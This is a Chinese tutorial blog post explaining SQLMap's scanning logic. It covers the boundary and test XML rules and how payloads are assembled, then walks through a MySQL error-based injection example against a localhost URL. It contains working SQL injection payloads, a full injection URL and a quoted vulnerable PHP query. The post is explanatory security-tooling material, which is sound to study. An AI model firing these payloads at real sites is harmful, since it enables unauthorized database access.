SQLMap的前世今生（Part1）

一、前言

谈到SQL注入，第一时间就会想到神器SQLMAP，SQLMap是一款用来检测与利用的SQL注入开源工具。那么SQLMap在扫描SQL的逻辑到底是怎样实现的呢，接下来就探讨下SQLMap的扫描逻辑，通过了解SQLMap的扫描逻辑打造一款属于自己的SQL扫描工具。

二、SQL扫描规则

例子：

<boundary>     <level>1</level>     <clause>1</clause>     <where>1,2</where>     <ptype>1</ptype>     <prefix>'</prefix>     <suffix> AND '[RANDSTR]'='[RANDSTR]</suffix> </boundary>

1. clause与where属性

这两个元素的作用是限制boundary所使用的范围，可以理解成当且仅当某个boundary元素的where节点的值包含test元素的子节点，clause节点的值包含test元素的子节点的时候，该boundary才能和当前的test匹配，从而进一步生成payload。

2. prefix与suffix属性

要理解这两个属性的作用，那麽就先利用一段代码去讲解。

function getattachtablebypid($pid) {    $tableid = DB::result_first("SELECT tableid FROM ".DB::table('forum_attachment')." WHERE pid='$pid' LIMIT 1");    return 'forum_attachment_'.($tableid >= 0 && $tableid < 10 ? intval($tableid) : 'unused'); }

通过代码我们可以知道pid参与了SQL语句的拼接，那麽如果我们输入的pid为' AND 'test' = 'test呢，那麽最终拼接起来的SQL语句应该为：

SELECT tableid FROM ".DB::table('forum_attachment')." WHERE pid='' AND 'test' = 'test' LIMIT 1

<test>     <title>MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>     <stype>2</stype>     <level>1</level>     <risk>1</risk>     <clause>1,2,3</clause>     <where>1</where>     <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>     <request><!-- These work as good as ELT(), but are longer<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload><payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>--> <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload> </request>     <response>         <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>     </response>     <details>         <dbms>MySQL</dbms>         <dbms_version>>= 5.0</dbms_version>     </details> </test>

1. title属性

title属性为当前测试Payload的标题，通过标题就可以了解当前的注入手法与测试的数据库类型。

2. stype属性

这一个属性标记着当前的注入手法类型，1为布尔类型盲注，2为报错注入。

3. level属性

这个属性是每个test都有的，他是作用是是限定在SQL测试中处于哪个深度，简单的来说就是当你在使用SQLMAP进行SQL注入测试的时候，需要指定扫描的level，默认是1，最大为5，当level约高是，所执行的test越多，如果你是指定了level5进行注入测试，那麽估计执行的测试手法会将超过1000个。

4. clause与where属性

test中的clause与where属性与boundary中的clause与where属性功能是相同的。

5. payload属性

这一属性既是将要进行测试的SQL语句，也是SQLMap扫描逻辑的关键，其中的[RANDNUM]，[DELIMITER_START]，[DELIMITER_STOP]分别代表着随机数值与字符。当SQLMap扫描时会把对应的随机数替换掉，然后再与boundary的前缀与后缀拼接起来，最终成为测试的Payload。

6. details属性

其子节点会一般有两个，其dbms子节所代表的是当前Payload所适用的数据库类型，当前例子中的值为MySQL，则表示其Payload适用的数据库为MySQL，其dbms_version子节所代表的适用的数据库版本。

7. response属性

这一属性下的子节点标记着当前测试的Payload测试手法。

        grep        ：报错注入         comparison  ：布尔类型忙注入         time        ：延时注入         char        ：联合查询注入

SQLMAP当中的checkSqlInjection函数即是用这一属性作为判断依据来进入不同的处理分支。而且其中response属性中的值则为其SQL注入判断依据，就如当前的例子中，grep中的值为[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]，SQLMap会将[DELIMITER_START]与[DELIMITER_STOP]替换成Payload中所对应替换的值，然后利用所得到的对返回的页面信息进行正则匹配，如果存在在判断为当前存在SQL注入漏洞。

其中要注意的是，Payload中的字符串会根据当前Payload所适用的数据库类型对字符串进行处理，其处理的代码位于/plugins/dbms下对应数据库文件夹中的syntax.py脚本中。

所以最终的payload是根据test的payload子节点和boundary的prefix（前缀）、suffix（后缀）子节点的值组合而成的，即：最终的payload =  url参数 + boundary.prefix+test.payload+boundary.suffix

三、实例

接下来以报错注入来实际讲解下Payload与boundary的使用。

上例子中的boundary元素中的where节点的值为1，2，含有test元素的where节点的值（1），并且，boundary元素中的clause节点的值为1，含有test元素的where节点的值（1），因此，该boundary和test元素以匹配。test元素的payload的值为：

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

之前已经介绍了最终的Payload是如何的一个格式，所以最后将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉与转义之后。

则生成的payload类似如下：

[RANDNUM]           = 2214 [DELIMITER_START]   = ~!(转义后则为0x7e21) [DELIMITER_STOP]    = !~(转义后则为0x217e)  Payload: ' AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (CASE WHEN (2214=2214) THEN 1 ELSE 0 END)),0x217e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

如果http://127.0.0.1/search-result.php?keyword=&ad_id=3存在注入的话，那么执行的时候就会报如下错误：

Duplicate entry '~!1!~1' for key 'group_key'

根据之前的讲解，那么最终于测试的URL如下：

http://127.0.0.1/search-result.php?keyword=&ad_id=' AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (ELT(2214=2214,1))),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YmRM'='YmRM

如下为返回的页面信息：

最后根据grep中的正规来匹配当前页面。

<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>

而使用正则：~!(?P<result>.*?)!~来匹配Duplicate entry '~!1!~1' for key 'group_key' 的结果为1,根据匹配的结果可以得出当前的页面确实存在着SQL注入。

总结

通过SQLMap的扫描逻辑，我们可以了解到SQL注入的常规手法与实现，熟悉SQLMap的配置文件之后，自己就可以根据实际的情况对Payload与boundary进行修改，通过增加Payload与boundary来增强SQLMap的扫描规则，也可以利用其扫描规则来打造一款自己的SQL扫描工具。

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